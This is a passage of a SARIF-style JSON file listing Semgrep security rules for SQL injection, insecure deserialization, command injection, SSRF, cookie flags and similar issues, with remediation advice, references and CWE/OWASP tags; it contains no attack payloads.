Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`db.Query(\"SELECT * FROM t WHERE id = ?\", id)`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`db.Query(\"SELECT * FROM t WHERE id = ?\", id)`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://golang.org/doc/database/sql-injection](https://golang.org/doc/database/sql-injection)\n - [https://www.stackhawk.com/blog/golang-sql-injection-guide-examples-and-prevention/](https://www.stackhawk.com/blog/golang-sql-injection-guide-examples-and-prevention/)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`db.Query(\"SELECT * FROM t WHERE id = ?\", id)`) or a safe library."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.tainted-sql-string.tainted-sql-string","id":"go.lang.security.injection.tainted-sql-string.tainted-sql-string","name":"go.lang.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://x-stream.github.io/security.html](https://x-stream.github.io/security.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"helpUri":"https://semgrep.dev/r/java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","id":"java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","name":"java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing","id":"python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing","name":"python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected 'create_subprocess_exec' function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected 'create_subprocess_exec' function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec)\n - [https://docs.python.org/3/library/asyncio-subprocess.html#asyncio.create_subprocess_exec](https://docs.python.org/3/library/asyncio-subprocess.html#asyncio.create_subprocess_exec)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected 'create_subprocess_exec' function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec","id":"python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec","name":"python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc","id":"csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc","name":"csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl","id":"python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl","name":"python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection)\n - [https://laravel.com/docs/9.x/queries](https://laravel.com/docs/9.x/queries)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection","id":"php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection","name":"php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection)\n - [https://laravel.com/docs/9.x/queries](https://laravel.com/docs/9.x/queries)\n - [https://laravel.com/api/6.x/Illuminate/Database/Query/Builder.html](https://laravel.com/api/6.x/Illuminate/Database/Query/Builder.html)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#column-name-sql-injection](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#column-name-sql-injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection","id":"php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection","name":"php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets","id":"java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets","name":"java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Visualforce Pages must have the cspHeader attribute set to true. This attribute is available in API version 55 or higher."},"help":{"markdown":"Visualforce Pages must have the cspHeader attribute set to true. This attribute is available in API version 55 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute)\n - [https://help.salesforce.com/s/articleView?id=sf.csp_trusted_sites.htm&type=5](https://help.salesforce.com/s/articleView?id=sf.csp_trusted_sites.htm&type=5)\n","text":"Visualforce Pages must have the cspHeader attribute set to true. This attribute is available in API version 55 or higher."},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute","id":"generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute","name":"generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Use of $window.location.href can lead to open-redirect if user input is used for redirection."},"help":{"markdown":"Use of $window.location.href can lead to open-redirect if user input is used for redirection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsJs](https://docs.angularjs.org/api/ng/service/$sce#trustAsJs)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"Use of $window.location.href can lead to open-redirect if user input is used for redirection."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect","id":"javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect","name":"javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.hibernate-sqli.hibernate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.hibernate-sqli.hibernate-sqli","id":"java.spring.security.hibernate-sqli.hibernate-sqli","name":"java.spring.security.hibernate-sqli.hibernate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.hibernate-sqli.hibernate-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid","id":"python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid","name":"python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application processes user-input, this is passed to res.sendFile which can allow an attacker to arbitrarily read files on the system through path traversal. It is recommended to perform input validation in addition to canonicalizing the path. This allows you to validate the path against the intended directory it should be accessing."},"help":{"markdown":"The application processes 